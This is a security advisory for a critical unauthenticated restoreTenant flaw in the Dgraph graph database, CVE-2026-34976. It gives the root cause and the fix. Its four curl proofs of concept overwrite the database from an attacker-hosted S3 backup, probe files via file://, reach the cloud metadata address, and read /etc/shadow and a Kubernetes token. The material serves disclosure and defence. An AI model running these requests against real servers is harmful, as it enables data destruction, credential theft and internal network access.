GitHub Advisoryadvisory · Go
GHSA-p5rh-vmhp-gvcw Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization
CRITICAL
Official page ↗
- Aliases
- CVE-2026-34976
- Ecosystem
- Go
- Packages
- github.com/dgraph-io/dgraph/v25, github.com/dgraph-io/dgraph/v24, github.com/dgraph-io/dgraph
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-862
- Reviewed
- 2026-04-02
Affected packages
• Go github.com/dgraph-io/dgraph/v25: < 25.3.1 → fixed in 25.3.1
• Go github.com/dgraph-io/dgraph/v24: <= 24.0.5 (no fix yet)
• Go github.com/dgraph-io/dgraph: <= 1.2.8 (no fix yet)
Description
The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.
This mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.
Authentication Bypass
Every admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.
When middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.
PoC 1: Pre-Auth Database Overwrite
The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:
# No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }"
}'
# Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
# The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).
The resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.
Note: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys:
mutation { restoreTenant(input: {
restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true },
fromNamespace: 0
}) { code message } }
Live PoC Results (Dgraph v24.x Docker)
Tested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:
# restore (HAS middleware) -> BLOCKED
$ curl ... '{"query": "mutation { restore(...) { code } }"}'
{"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}
# restoreTenant (MISSING middleware) -> AUTH BYPASSED
$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}'
{"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}
The `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.
Filesystem enumeration also confirmed with distinct error messages:
• `/etc/` (exists): "No backups with the specified backup ID" (directory scanned)
• `/nonexistent/` (doesn't exist): "The uri path doesn't exists" (path doesn't exist)
• `/tmp/` (exists, empty): "No backups with the specified backup ID" (directory scanned)
PoC 2: Local Filesystem Probe via file:// Scheme
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }"
}'
# Error response reveals whether /etc/ exists and its structure.
# backup_handler.go:130-132 creates a fileHandler for file:// URIs.
# fileHandler.ListPaths at line 161-166 walks the local filesystem.
# fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))
PoC 3: SSRF via S3 Endpoint
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }"
}'
# The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.
# Error response may leak cloud metadata information.
PoC 4: Vault SSRF + Server File Path Read
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }"
}'
# vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080
# vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk
# encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag
Fix
Add `restoreTenant` to `adminMutationMWConfig`:
"restoreTenant": gogMutMWs,
Koda Reef
Related
Alias · CVE (1)
- CVE-2026-34976 Dgraph is an open source distributed GraphQL database. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness
References
- https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw web
- https://nvd.nist.gov/vuln/detail/CVE-2026-34976 advisory
- https://github.com/dgraph-io/dgraph/commit/b15c87e9353e36618bf8e0df3bd945c0ce7105ef web
- https://github.com/dgraph-io/dgraph package
- https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1 web